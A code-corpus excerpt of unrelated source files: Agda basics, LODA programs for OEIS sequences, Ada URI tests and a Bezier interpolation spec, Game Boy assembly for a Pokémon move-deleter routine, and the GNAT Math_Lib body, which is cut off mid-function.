examples/outdated-and-incorrect/cbs/Basics.agda | shlevy/agda | 1,989 | 7961 | <reponame>shlevy/agda
module Basics where
_%_ : {A B : Set}{C : B -> Set}
(f : (x : B) -> C x)(g : A -> B)(x : A) -> C (g x)
f % g = \x -> f (g x)
-- Logic
data False : Set where
record True : Set where
tt : True
tt = _
¬_ : Set -> Set
¬ A = A -> False
record ∃ {A : Set}(P : A -> Set) : Set where
field
witness : A
proof : P witness
∃-intro : {A : Set}{P : A -> Set}(x : A) -> P x -> ∃ P
∃-intro x p = record { witness = x; proof = p }
infixr 15 _/\_ _×_
data _×_ (A B : Set) : Set where
_,_ : A -> B -> A × B
_/\_ = _×_
-- Maybe
data Lift (A : Set) : Set where
bot : Lift A
lift : A -> Lift A
_=<<_ : {A B : Set} -> (A -> Lift B) -> Lift A -> Lift B
f =<< bot = bot
f =<< lift v = f v
-- Nat
data Nat : Set where
zero : Nat
suc : Nat -> Nat
-- Identity
infix 10 _==_
data _==_ {A : Set}(x : A) : A -> Set where
refl : x == x
data Id {A : Set}(x : A) : Set where
it : (y : A) -> x == y -> Id x
-- Booleans
data Bool : Set where
true : Bool
false : Bool
data LR : Set where
left : LR
right : LR
if_then_else_ : {A : Set} -> Bool -> A -> A -> A
if true then x else y = x
if false then x else y = y
-- Lists
infixr 50 _::_
data List (A : Set) : Set where
[] : List A
_::_ : A -> List A -> List A
data Elem {A : Set}(x : A) : List A -> Set where
hd : forall {xs} -> Elem x (x :: xs)
tl : forall {y xs} -> Elem x xs -> Elem x (y :: xs)
|
programs/oeis/082/A082851.asm | neoneye/loda | 22 | 18702 | ; A082851: Partial sums of A082850.
; 1,2,4,5,6,8,11,12,13,15,16,17,19,22,26,27,28,30,31,32,34,37,38,39,41,42,43,45,48,52,57,58,59,61,62,63,65,68,69,70,72,73,74,76,79,83,84,85,87,88,89,91,94,95,96,98,99,100,102,105,109,114,120,121,122,124,125,126
lpb $0
mov $2,$0
sub $0,1
seq $2,82850 ; Let S(0) = {}, S(n) = {S(n-1), S(n-1), n}; sequence gives S(infinity).
add $1,$2
lpe
add $1,1
mov $0,$1
|
programs/oeis/132/A132355.asm | neoneye/loda | 22 | 11565 | <filename>programs/oeis/132/A132355.asm
; A132355: Numbers of the form 9*h^2 + 2*h, for h an integer.
; 0,7,11,32,40,75,87,136,152,215,235,312,336,427,455,560,592,711,747,880,920,1067,1111,1272,1320,1495,1547,1736,1792,1995,2055,2272,2336,2567,2635,2880,2952,3211,3287,3560,3640,3927,4011,4312,4400,4715,4807,5136,5232,5575,5675,6032,6136,6507,6615,7000,7112,7511,7627,8040,8160,8587,8711,9152,9280,9735,9867,10336,10472,10955,11095,11592,11736,12247,12395,12920,13072,13611,13767,14320,14480,15047,15211,15792,15960,16555,16727,17336,17512,18135,18315,18952,19136,19787,19975,20640,20832,21511,21707,22400
seq $0,56020 ; Numbers that are congruent to +-1 mod 9.
pow $0,2
div $0,9
|
test/Succeed/Issue2313.agda | cruhland/agda | 1,989 | 14986 |
data D : Set where
c : D
s : D → D
predD : D → D
predD c = c
predD (s x) = x
f : D → D
f c = c
f (s n) with c
f x@(s _) | c = x
f (s _) | s _ = c
data E : D → Set where
e : E c
s : ∀ {x} → E x → E (s x)
predE : ∀ {d} → E d → E (predD d)
predE e = e
predE (s x) = x
g : ∀ {d} → E d → E (predD d)
g e = e
g (s x) with x
g y@(s _) | s z = predE y
g (s z@e) | e = predE z
|
oeis/227/A227400.asm | neoneye/loda-programs | 11 | 29454 | ; A227400: Decimal expansion of 5/(3*phi^2) where phi is the golden ratio.
; Submitted by <NAME>
; 6,3,6,6,1,0,0,1,8,7,5,0,1,7,5,2,5,2,9,9,2,3,5,5,2,7,6,0,5,7,2,6,9,8,0,3,7,9,9,4,8,4,7,0,0,3,2,3,7,2,8,5,6,3,1,0,7,5,8,5,6,2,8,8,2,4,5,6,5,8,9,5,3,0,1,8,2,9,2,5,0,4,8,7,9,8
add $0,2
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $2,$3
add $1,$2
div $1,$0
div $2,$0
add $2,$1
sub $3,1
lpe
add $2,$1
div $1,6
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mod $1,10
mov $0,$1
|
src/interpolations_lineaires.ads | SKNZ/BezierToSTL | 0 | 30074 | <gh_stars>0
with Courbes; use Courbes;
with Courbes.Singletons; use Courbes.Singletons;
with Courbes.Droites; use Courbes.Droites;
with Courbes.Bezier_Cubiques; use Courbes.Bezier_Cubiques;
with Courbes.Visiteurs; use Courbes.Visiteurs;
with Vecteurs; use Vecteurs;
package Interpolations_Lineaires is
subtype Tolerance is Float range 0.01 .. 1.0;
use Liste_Points;
-- Interpole linéairement toutes les courbes d'une liste en N points
-- Interpoler_Droites permet de désactiver l'interpolation des droites
-- (l'interpolation est alors laissée à l'afficheur)
procedure Interpolation_Lineaire(
Courbes : Liste_Courbes.Liste;
Segments : in out Liste;
Nombre_Points : Positive;
Interpoler_Droites : Boolean := False;
Utiliser_DeCasteljau : Boolean := False;
Tolerance_DeCasteljau : Tolerance := 0.5);
private
-- Generic parce que sinon pas possible de passer la liste
generic
-- Liste des segments générés
Segments : in out Liste;
-- Nombre de points à utiliser pour approcher la courbe
Nombre_Points : Positive;
-- Faut il interpoler la droite
Interpoler_Droites : Boolean;
-- Utiliser l'algo de Casteljau
-- (Avantageux en terme de précision)
Utiliser_DeCasteljau : Boolean;
-- Tolérance si Casteljau
-- Détermine quand est-ce qu'une courbe
-- peut être approchée par une droite
Tolerance_DeCasteljau : Tolerance;
package Visiteur_Interpolateur is
type Interpolateur_Lineaire is new Visiteur_Courbe with null record;
-- Cas général
overriding procedure Visiter(Self : Interpolateur_Lineaire; C : Courbe);
-- Cas particulier : droite
overriding procedure Visiter(Self : Interpolateur_Lineaire; D : Droite);
-- Cas particulier : bezier cubique (de casteljau)
overriding procedure Visiter(Self : Interpolateur_Lineaire; BC : Bezier_Cubique);
-- Cas particulier : le singleton
overriding procedure Visiter(Self : Interpolateur_Lineaire; S : Singleton);
end Visiteur_Interpolateur;
end Interpolations_Lineaires;
|
src/uri-test.adb | mosteo/uri-ada | 3 | 7667 | -- with Ada.Text_IO; use Ada.Text_IO;
procedure URI.Test is
T_1 : constant String :=
"http://anon:1234@www.dummy.com/highway/to/?sure&really#hell";
T_2 : constant String := "urn:example:animal:ferret:nose";
begin
-- Individual parts
pragma Assert (Extract ("", Scheme) = "");
pragma Assert (Extract ("file:", Scheme) = "file");
pragma Assert (Extract (" file:", Scheme) = "file"); -- leading whitespace
pragma Assert (Extract ("#space ", Fragment) = "space"); -- lagging whitespace
pragma Assert (Extract ("#space", Path) = ""); -- Empty path
pragma Assert (Extract (T_1, Scheme) = "http");
pragma Assert (Extract (T_1, Authority) = "anon:<EMAIL>");
pragma Assert (Extract (T_1, Path) = "/highway/to/");
pragma Assert (Extract (T_1, Query) = "sure&really");
pragma Assert (Extract (T_1, Fragment) = "hell");
pragma Assert (Extract (T_2, Scheme) = "urn");
pragma Assert (Extract (T_2, Authority) = "");
pragma Assert (Extract (T_2, Path) = "example:animal:ferret:nose");
pragma Assert (Extract (T_2, Query) = "");
pragma Assert (Extract (T_2, Fragment) = "");
-- Bizarre individual parts
pragma Assert (Extract ("git+http:", Scheme) = "git+http");
pragma Assert (Extract ("http::nowhere", Scheme) = "http");
pragma Assert (Extract ("http::nowhere", Path) = ":nowhere");
pragma Assert (Extract ("///auth", Authority) = "");
pragma Assert (Extract ("///auth", Path) = "/auth");
pragma Assert (Extract ("//+auth", Authority) = "+auth");
pragma Assert (Extract ("//?auth", Authority) = "");
pragma Assert (Extract ("//#auth", Authority) = "");
pragma Assert (Extract ("//../uh/oh", Authority) = "..");
pragma Assert (Extract ("//?", Path) = "");
pragma Assert (Extract ("///+asdf?", Path) = "/+asdf");
pragma Assert (Extract ("//../uh/oh", Path) = "/uh/oh");
pragma Assert (Extract ("??", Query) = "?");
pragma Assert (Extract ("?#", Query) = "");
pragma Assert (Extract ("??&#?", Query) = "?&");
pragma Assert (Extract ("?&#?", Query) = "&");
pragma Assert (Extract ("??&#?", Fragment) = "?");
pragma Assert (Extract ("#", Fragment) = "");
pragma Assert (Extract ("##", Fragment) = "#");
-- Counterintuitive Authority/Path combos
pragma Assert (Extract ("file://hello.txt", Authority) = "hello.txt");
pragma Assert (Extract ("file://hello.txt", Path) = "");
pragma Assert (Permissive_Path ("file://hello.txt") = "hello.txt");
pragma Assert (Extract ("file:///hello.txt", Authority) = "");
pragma Assert (Extract ("file:///hello.txt", Path) = "/hello.txt");
pragma Assert (Permissive_Path ("file:///hello.txt") = "/hello.txt");
pragma Assert (Extract ("file:../hello.txt", Authority) = "");
pragma Assert (Extract ("file:../hello.txt", Path) = "../hello.txt");
pragma Assert (Permissive_Path ("file:../hello.txt") = "../hello.txt");
pragma Assert (Extract ("file://../hello.txt", Authority) = "..");
pragma Assert (Extract ("file://../hello.txt", Path) = "/hello.txt");
pragma Assert (Permissive_Path ("file://../hello.txt") = "../hello.txt");
pragma Assert (Extract ("file:/hello.txt", Authority) = "");
pragma Assert (Extract ("file:/hello.txt", Path) = "/hello.txt");
pragma Assert (Permissive_Path ("file:/hello.txt") = "/hello.txt");
-- Slices
pragma Assert (Extract ("file:///path/to", Scheme, Path) = "file:/path/to");
pragma Assert (Extract ("file:///path/to", Authority, Authority) = "");
pragma Assert (Extract (T_1, Scheme, Fragment) = T_1);
pragma Assert (Extract (T_1, Authority, Query) = "anon:1234@www.dummy.com/highway/to/?sure&really");
pragma Assert (Extract (T_1, Path, Query) = "/highway/to/?sure&really");
pragma Assert (Extract (T_1, Scheme, Authority) = "http://anon:1234@www.dummy.com");
pragma Assert (Extract (T_1, Authority, Path) = "anon:1234@www.dummy.com/highway/to/");
pragma Assert (Extract (T_2, Scheme, Fragment) = T_2);
pragma Assert (Extract (T_2, Authority, Query) = "example:animal:ferret:nose");
pragma Assert (Extract (T_2, Path, Query) = "example:animal:ferret:nose");
pragma Assert (Extract (T_2, Scheme, Authority) = "urn");
pragma Assert (Extract (T_2, Scheme, Path) = T_2);
pragma Assert (Extract (T_2, Authority, Path) = "example:animal:ferret:nose");
end URI.Test;
|
engine/events/move_deleter.asm | Dev727/ancientplatinum | 28 | 170744 | <gh_stars>10-100
MoveDeletion:
ld hl, .IntroText
call PrintText
call YesNoBox
jr c, .declined
ld hl, .AskWhichMonText
call PrintText
farcall SelectMonFromParty
jr c, .declined
ld a, [wCurPartySpecies]
cp EGG
jr z, .egg
ld a, [wCurPartyMon]
ld hl, wPartyMon1Moves + 1
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
ld a, [hl]
and a
jr z, .onlyonemove
ld hl, .AskWhichMoveText
call PrintText
call LoadStandardMenuHeader
farcall ChooseMoveToDelete
push af
call ReturnToMapWithSpeechTextbox
pop af
jr c, .declined
ld a, [wMenuCursorY]
push af
ld a, [wCurSpecies]
ld [wNamedObjectIndexBuffer], a
call GetMoveName
ld hl, .ConfirmDeleteText
call PrintText
call YesNoBox
pop bc
jr c, .declined
call .DeleteMove
call WaitSFX
ld de, SFX_MOVE_DELETED
call PlaySFX
call WaitSFX
ld hl, .MoveDeletedText
call PrintText
ret
.egg
ld hl, .EggText
call PrintText
ret
.declined
ld hl, .DeclinedDeletionText
call PrintText
ret
.onlyonemove
ld hl, .OnlyOneMoveText
call PrintText
ret
.OnlyOneMoveText:
; That #MON knows only one move.
text_far UnknownText_0x1c5eba
text_end
.ConfirmDeleteText:
; Oh, make it forget @ ?
text_far UnknownText_0x1c5eda
text_end
.MoveDeletedText:
; Done! Your #MON forgot the move.
text_far UnknownText_0x1c5ef5
text_end
.EggText:
; An EGG doesn't know any moves!
text_far UnknownText_0x1c5f17
text_end
.DeclinedDeletionText:
; No? Come visit me again.
text_far UnknownText_0x1c5f36
text_end
.AskWhichMoveText:
; Which move should it forget, then?
text_far UnknownText_0x1c5f50
text_end
.IntroText:
; Um… Oh, yes, I'm the MOVE DELETER. I can make #MON forget moves. Shall I make a #MON forget?
text_far UnknownText_0x1c5f74
text_end
.AskWhichMonText:
; Which #MON?
text_far UnknownText_0x1c5fd1
text_end
.DeleteMove:
ld a, b
push bc
dec a
ld c, a
ld b, 0
ld hl, wPartyMon1Moves
add hl, bc
ld a, [wCurPartyMon]
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
pop bc
push bc
inc b
.loop
ld a, b
cp NUM_MOVES + 1
jr z, .okay
inc hl
ld a, [hld]
ld [hl], a
inc hl
inc b
jr .loop
.okay
xor a
ld [hl], a
pop bc
ld a, b
push bc
dec a
ld c, a
ld b, 0
ld hl, wPartyMon1PP
add hl, bc
ld a, [wCurPartyMon]
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
pop bc
inc b
.loop2
ld a, b
cp NUM_MOVES + 1
jr z, .done
inc hl
ld a, [hld]
ld [hl], a
inc hl
inc b
jr .loop2
.done
xor a
ld [hl], a
ret
|
gcc-gcc-7_3_0-release/gcc/ada/math_lib.adb | best08618/asylo | 7 | 1865 | <reponame>best08618/asylo<filename>gcc-gcc-7_3_0-release/gcc/ada/math_lib.adb
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- M A T H _ L I B --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2009, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This body is specifically for using an Ada interface to C math.h to get
-- the computation engine. Many special cases are handled locally to avoid
-- unnecessary calls. This is not a "strict" implementation, but takes full
-- advantage of the C functions, e.g. in providing interface to hardware
-- provided versions of the elementary functions.
-- A known weakness is that on the x86, all computation is done in Double,
-- which means that a lot of accuracy is lost for the Long_Long_Float case.
-- Uses functions sqrt, exp, log, pow, sin, asin, cos, acos, tan, atan,
-- sinh, cosh, tanh from C library via math.h
-- This is an adaptation of Ada.Numerics.Generic_Elementary_Functions that
-- provides a compatible body for the DEC Math_Lib package.
with Ada.Numerics.Aux;
use type Ada.Numerics.Aux.Double;
with Ada.Numerics; use Ada.Numerics;
package body Math_Lib is
Log_Two : constant := 0.69314_71805_59945_30941_72321_21458_17656_80755;
Two_Pi : constant Real'Base := 2.0 * Pi;
Half_Pi : constant Real'Base := Pi / 2.0;
Fourth_Pi : constant Real'Base := Pi / 4.0;
Epsilon : constant Real'Base := Real'Base'Epsilon;
IEpsilon : constant Real'Base := 1.0 / Epsilon;
subtype Double is Aux.Double;
DEpsilon : constant Double := Double (Epsilon);
DIEpsilon : constant Double := Double (IEpsilon);
-----------------------
-- Local Subprograms --
-----------------------
function Arctan
(Y : Real;
A : Real := 1.0)
return Real;
function Arctan
(Y : Real;
A : Real := 1.0;
Cycle : Real)
return Real;
function Exact_Remainder
(A : Real;
Y : Real)
return Real;
-- Computes exact remainder of A divided by Y
function Half_Log_Epsilon return Real;
-- Function to provide constant: 0.5 * Log (Epsilon)
function Local_Atan
(Y : Real;
A : Real := 1.0)
return Real;
-- Common code for arc tangent after cycle reduction
function Log_Inverse_Epsilon return Real;
-- Function to provide constant: Log (1.0 / Epsilon)
function Square_Root_Epsilon return Real;
-- Function to provide constant: Sqrt (Epsilon)
----------
-- "**" --
----------
function "**" (A1, A2 : Real) return Real is
begin
if A1 = 0.0
and then A2 = 0.0
then
raise Argument_Error;
elsif A1 < 0.0 then
raise Argument_Error;
elsif A2 = 0.0 then
return 1.0;
elsif A1 = 0.0 then
if A2 < 0.0 then
raise Constraint_Error;
else
return 0.0;
end if;
elsif A1 = 1.0 then
return 1.0;
elsif A2 = 1.0 then
return A1;
else
begin
if A2 = 2.0 then
return A1 * A1;
else
return
Real (Aux.pow (Double (A1), Double (A2)));
end if;
exception
when others =>
raise Constraint_Error;
end;
end if;
end "**";
------------
-- Arccos --
------------
-- Natural cycle
function Arccos (A : Real) return Real is
Temp : Real'Base;
begin
if abs A > 1.0 then
raise Argument_Error;
elsif abs A < Square_Root_Epsilon then
return Pi / 2.0 - A;
elsif A = 1.0 then
return 0.0;
elsif A = -1.0 then
return Pi;
end if;
Temp := Real (Aux.acos (Double (A)));
if Temp < 0.0 then
Temp := Pi + Temp;
end if;
return Temp;
end Arccos;
-- Arbitrary cycle
function Arccos (A, Cycle : Real) return Real is
Temp : Real'Base;
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif abs A > 1.0 then
raise Argument_Error;
elsif abs A < Square_Root_Epsilon then
return Cycle / 4.0;
elsif A = 1.0 then
return 0.0;
elsif A = -1.0 then
return Cycle / 2.0;
end if;
Temp := Arctan (Sqrt (1.0 - A * A) / A, 1.0, Cycle);
if Temp < 0.0 then
Temp := Cycle / 2.0 + Temp;
end if;
return Temp;
end Arccos;
-------------
-- Arccosh --
-------------
function Arccosh (A : Real) return Real is
begin
-- Return Log (A - Sqrt (A * A - 1.0)); double valued,
-- only positive value returned
-- What is this comment ???
if A < 1.0 then
raise Argument_Error;
elsif A < 1.0 + Square_Root_Epsilon then
return A - 1.0;
elsif abs A > 1.0 / Square_Root_Epsilon then
return Log (A) + Log_Two;
else
return Log (A + Sqrt (A * A - 1.0));
end if;
end Arccosh;
------------
-- Arccot --
------------
-- Natural cycle
function Arccot
(A : Real;
Y : Real := 1.0)
return Real
is
begin
-- Just reverse arguments
return Arctan (Y, A);
end Arccot;
-- Arbitrary cycle
function Arccot
(A : Real;
Y : Real := 1.0;
Cycle : Real)
return Real
is
begin
-- Just reverse arguments
return Arctan (Y, A, Cycle);
end Arccot;
-------------
-- Arccoth --
-------------
function Arccoth (A : Real) return Real is
begin
if abs A = 1.0 then
raise Constraint_Error;
elsif abs A < 1.0 then
raise Argument_Error;
elsif abs A > 1.0 / Epsilon then
return 0.0;
else
return 0.5 * Log ((1.0 + A) / (A - 1.0));
end if;
end Arccoth;
------------
-- Arcsin --
------------
-- Natural cycle
function Arcsin (A : Real) return Real is
begin
if abs A > 1.0 then
raise Argument_Error;
elsif abs A < Square_Root_Epsilon then
return A;
elsif A = 1.0 then
return Pi / 2.0;
elsif A = -1.0 then
return -Pi / 2.0;
end if;
return Real (Aux.asin (Double (A)));
end Arcsin;
-- Arbitrary cycle
function Arcsin (A, Cycle : Real) return Real is
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif abs A > 1.0 then
raise Argument_Error;
elsif A = 0.0 then
return A;
elsif A = 1.0 then
return Cycle / 4.0;
elsif A = -1.0 then
return -Cycle / 4.0;
end if;
return Arctan (A / Sqrt (1.0 - A * A), 1.0, Cycle);
end Arcsin;
-------------
-- Arcsinh --
-------------
function Arcsinh (A : Real) return Real is
begin
if abs A < Square_Root_Epsilon then
return A;
elsif A > 1.0 / Square_Root_Epsilon then
return Log (A) + Log_Two;
elsif A < -1.0 / Square_Root_Epsilon then
return -(Log (-A) + Log_Two);
elsif A < 0.0 then
return -Log (abs A + Sqrt (A * A + 1.0));
else
return Log (A + Sqrt (A * A + 1.0));
end if;
end Arcsinh;
------------
-- Arctan --
------------
-- Natural cycle
function Arctan
(Y : Real;
A : Real := 1.0)
return Real
is
begin
if A = 0.0
and then Y = 0.0
then
raise Argument_Error;
elsif Y = 0.0 then
if A > 0.0 then
return 0.0;
else -- A < 0.0
return Pi;
end if;
elsif A = 0.0 then
if Y > 0.0 then
return Half_Pi;
else -- Y < 0.0
return -Half_Pi;
end if;
else
return Local_Atan (Y, A);
end if;
end Arctan;
-- Arbitrary cycle
function Arctan
(Y : Real;
A : Real := 1.0;
Cycle : Real)
return Real
is
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif A = 0.0
and then Y = 0.0
then
raise Argument_Error;
elsif Y = 0.0 then
if A > 0.0 then
return 0.0;
else -- A < 0.0
return Cycle / 2.0;
end if;
elsif A = 0.0 then
if Y > 0.0 then
return Cycle / 4.0;
else -- Y < 0.0
return -Cycle / 4.0;
end if;
else
return Local_Atan (Y, A) * Cycle / Two_Pi;
end if;
end Arctan;
-------------
-- Arctanh --
-------------
function Arctanh (A : Real) return Real is
begin
if abs A = 1.0 then
raise Constraint_Error;
elsif abs A > 1.0 then
raise Argument_Error;
elsif abs A < Square_Root_Epsilon then
return A;
else
return 0.5 * Log ((1.0 + A) / (1.0 - A));
end if;
end Arctanh;
---------
-- Cos --
---------
-- Natural cycle
function Cos (A : Real) return Real is
begin
if A = 0.0 then
return 1.0;
elsif abs A < Square_Root_Epsilon then
return 1.0;
end if;
return Real (Aux.Cos (Double (A)));
end Cos;
-- Arbitrary cycle
function Cos (A, Cycle : Real) return Real is
T : Real'Base;
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif A = 0.0 then
return 1.0;
end if;
T := Exact_Remainder (abs (A), Cycle) / Cycle;
if T = 0.25
or else T = 0.75
or else T = -0.25
or else T = -0.75
then
return 0.0;
elsif T = 0.5 or T = -0.5 then
return -1.0;
end if;
return Real (Aux.Cos (Double (T * Two_Pi)));
end Cos;
----------
-- Cosh --
----------
function Cosh (A : Real) return Real is
begin
if abs A < Square_Root_Epsilon then
return 1.0;
elsif abs A > Log_Inverse_Epsilon then
return Exp ((abs A) - Log_Two);
end if;
return Real (Aux.cosh (Double (A)));
exception
when others =>
raise Constraint_Error;
end Cosh;
---------
-- Cot --
---------
-- Natural cycle
function Cot (A : Real) return Real is
begin
if A = 0.0 then
raise Constraint_Error;
elsif abs A < Square_Root_Epsilon then
return 1.0 / A;
end if;
return Real (1.0 / Real'Base (Aux.tan (Double (A))));
end Cot;
-- Arbitrary cycle
function Cot (A, Cycle : Real) return Real is
T : Real'Base;
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif A = 0.0 then
raise Constraint_Error;
elsif abs A < Square_Root_Epsilon then
return 1.0 / A;
end if;
T := Exact_Remainder (A, Cycle) / Cycle;
if T = 0.0 or T = 0.5 or T = -0.5 then
raise Constraint_Error;
else
return Cos (T * Two_Pi) / Sin (T * Two_Pi);
end if;
end Cot;
----------
-- Coth --
----------
function Coth (A : Real) return Real is
begin
if A = 0.0 then
raise Constraint_Error;
elsif A < Half_Log_Epsilon then
return -1.0;
elsif A > -Half_Log_Epsilon then
return 1.0;
elsif abs A < Square_Root_Epsilon then
return 1.0 / A;
end if;
return Real (1.0 / Real'Base (Aux.tanh (Double (A))));
end Coth;
---------------------
-- Exact_Remainder --
---------------------
function Exact_Remainder
(A : Real;
Y : Real)
return Real
is
Denominator : Real'Base := abs A;
Divisor : Real'Base := abs Y;
Reducer : Real'Base;
Sign : Real'Base := 1.0;
begin
if Y = 0.0 then
raise Constraint_Error;
elsif A = 0.0 then
return 0.0;
elsif A = Y then
return 0.0;
elsif Denominator < Divisor then
return A;
end if;
while Denominator >= Divisor loop
-- Put divisors mantissa with denominators exponent to make reducer
Reducer := Divisor;
begin
while Reducer * 1_048_576.0 < Denominator loop
Reducer := Reducer * 1_048_576.0;
end loop;
exception
when others => null;
end;
begin
while Reducer * 1_024.0 < Denominator loop
Reducer := Reducer * 1_024.0;
end loop;
exception
when others => null;
end;
begin
while Reducer * 2.0 < Denominator loop
Reducer := Reducer * 2.0;
end loop;
exception
when others => null;
end;
Denominator := Denominator - Reducer;
end loop;
if A < 0.0 then
return -Denominator;
else
return Denominator;
end if;
end Exact_Remainder;
---------
-- Exp --
---------
function Exp (A : Real) return Real is
Result : Real'Base;
begin
if A = 0.0 then
return 1.0;
else
Result := Real (Aux.Exp (Double (A)));
-- The check here catches the case of Exp returning IEEE infinity
if Result > Real'Last then
raise Constraint_Error;
else
return Result;
end if;
end if;
end Exp;
----------------------
-- Half_Log_Epsilon --
----------------------
-- Cannot precompute this constant, because this is required to be a
-- pure package, which allows no state. A pity, but no way around it!
function Half_Log_Epsilon return Real is
begin
return Real (0.5 * Real'Base (Aux.Log (DEpsilon)));
end Half_Log_Epsilon;
----------------
-- Local_Atan --
----------------
function Local_Atan
(Y : Real;
A : Real := 1.0)
return Real
is
Z : Real'Base;
Raw_Atan : Real'Base;
begin
if abs Y > abs A then
Z := abs (A / Y);
else
Z := abs (Y / A);
end if;
if Z < Square_Root_Epsilon then
Raw_Atan := Z;
elsif Z = 1.0 then
Raw_Atan := Pi / 4.0;
elsif Z < Square_Root_Epsilon then
Raw_Atan := Z;
else
Raw_Atan := Real'Base (Aux.Atan (Double (Z)));
end if;
if abs Y > abs A then
Raw_Atan := Half_Pi - Raw_Atan;
end if;
if A > 0.0 then
if Y > 0.0 then
return Raw_Atan;
else -- Y < 0.0
return -Raw_Atan;
end if;
else -- A < 0.0
if Y > 0.0 then
return Pi - Raw_Atan;
else -- Y < 0.0
return -(Pi - Raw_Atan);
end if;
end if;
end Local_Atan;
---------
-- Log --
---------
-- Natural base
function Log (A : Real) return Real is
begin
if A < 0.0 then
raise Argument_Error;
elsif A = 0.0 then
raise Constraint_Error;
elsif A = 1.0 then
return 0.0;
end if;
return Real (Aux.Log (Double (A)));
end Log;
-- Arbitrary base
function Log (A, Base : Real) return Real is
begin
if A < 0.0 then
raise Argument_Error;
elsif Base <= 0.0 or else Base = 1.0 then
raise Argument_Error;
elsif A = 0.0 then
raise Constraint_Error;
elsif A = 1.0 then
return 0.0;
end if;
return Real (Aux.Log (Double (A)) / Aux.Log (Double (Base)));
end Log;
-------------------------
-- Log_Inverse_Epsilon --
-------------------------
-- Cannot precompute this constant, because this is required to be a
-- pure package, which allows no state. A pity, but no way around it!
function Log_Inverse_Epsilon return Real is
begin
return Real (Aux.Log (DIEpsilon));
end Log_Inverse_Epsilon;
---------
-- Sin --
---------
-- Natural cycle
function Sin (A : Real) return Real is
begin
if abs A < Square_Root_Epsilon then
return A;
end if;
return Real (Aux.Sin (Double (A)));
end Sin;
-- Arbitrary cycle
function Sin (A, Cycle : Real) return Real is
T : Real'Base;
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif A = 0.0 then
return A;
end if;
T := Exact_Remainder (A, Cycle) / Cycle;
if T = 0.0 or T = 0.5 or T = -0.5 then
return 0.0;
elsif T = 0.25 or T = -0.75 then
return 1.0;
elsif T = -0.25 or T = 0.75 then
return -1.0;
end if;
return Real (Aux.Sin (Double (T * Two_Pi)));
end Sin;
----------
-- Sinh --
----------
function Sinh (A : Real) return Real is
begin
if abs A < Square_Root_Epsilon then
return A;
elsif A > Log_Inverse_Epsilon then
return Exp (A - Log_Two);
elsif A < -Log_Inverse_Epsilon then
return -Exp ((-A) - Log_Two);
end if;
return Real (Aux.Sinh (Double (A)));
exception
when others =>
raise Constraint_Error;
end Sinh;
-------------------------
-- Square_Root_Epsilon --
-------------------------
-- Cannot precompute this constant, because this is required to be a
-- pure package, which allows no state. A pity, but no way around it!
function Square_Root_Epsilon return Real is
begin
return Real (Aux.Sqrt (DEpsilon));
end Square_Root_Epsilon;
----------
-- Sqrt --
----------
function Sqrt (A : Real) return Real is
begin
if A < 0.0 then
raise Argument_Error;
-- Special case Sqrt (0.0) to preserve possible minus sign per IEEE
elsif A = 0.0 then
return A;
-- Sqrt (1.0) must be exact for good complex accuracy
elsif A = 1.0 then
return 1.0;
end if;
return Real (Aux.Sqrt (Double (A)));
end Sqrt;
---------
-- Tan --
---------
-- Natural cycle
function Tan (A : Real) return Real is
begin
if abs A < Square_Root_Epsilon then
return A;
elsif abs A = Pi / 2.0 then
raise Constraint_Error;
end if;
return Real (Aux.tan (Double (A)));
end Tan;
-- Arbitrary cycle
function Tan (A, Cycle : Real) return Real is
T : Real'Base;
begin
if Cycle <= 0.0 then
raise Argument_Error;
elsif A = 0.0 then
return A;
end if;
T := Exact_Remainder (A, Cycle) / Cycle;
if T = 0.25
or else T = 0.75
or else T = -0.25
or else T = -0.75
then
raise Constraint_Error;
else
return Sin (T * Two_Pi) / Cos (T * Two_Pi);
end if;
end Tan;
----------
-- Tanh --
----------
function Tanh (A : Real) return Real is
begin
if A < Half_Log_Epsilon then
return -1.0;
elsif A > -Half_Log_Epsilon then
return 1.0;
elsif abs A < Square_Root_Epsilon then
return A;
end if;
return Real (Aux.tanh (Double (A)));
end Tanh;
----------------------------
-- DEC-Specific functions --
----------------------------
function LOG10 (A : REAL) return REAL is
begin
return Log (A, 10.0);
end LOG10;
function LOG2 (A : REAL) return REAL is
begin
return Log (A, 2.0);
end LOG2;
function ASIN (A : REAL) return REAL renames Arcsin;
function ACOS (A : REAL) return REAL renames Arccos;
function ATAN (A : REAL) return REAL is
begin
return Arctan (A, 1.0);
end ATAN;
function ATAN2 (A1, A2 : REAL) return REAL renames Arctan;
function SIND (A : REAL) return REAL is
begin
return Sin (A, 360.0);
end SIND;
function COSD (A : REAL) return REAL is
begin
return Cos (A, 360.0);
end COSD;
function TAND (A : REAL) return REAL is
begin
return Tan (A, 360.0);
end TAND;
function ASIND (A : REAL) return REAL is
begin
return Arcsin (A, 360.0);
end ASIND;
function ACOSD (A : REAL) return REAL is
begin
return Arccos (A, 360.0);
end ACOSD;
function Arctan (A : REAL) return REAL is
begin
return Arctan (A, 1.0, 360.0);
end Arctan;
function ATAND (A : REAL) return REAL is
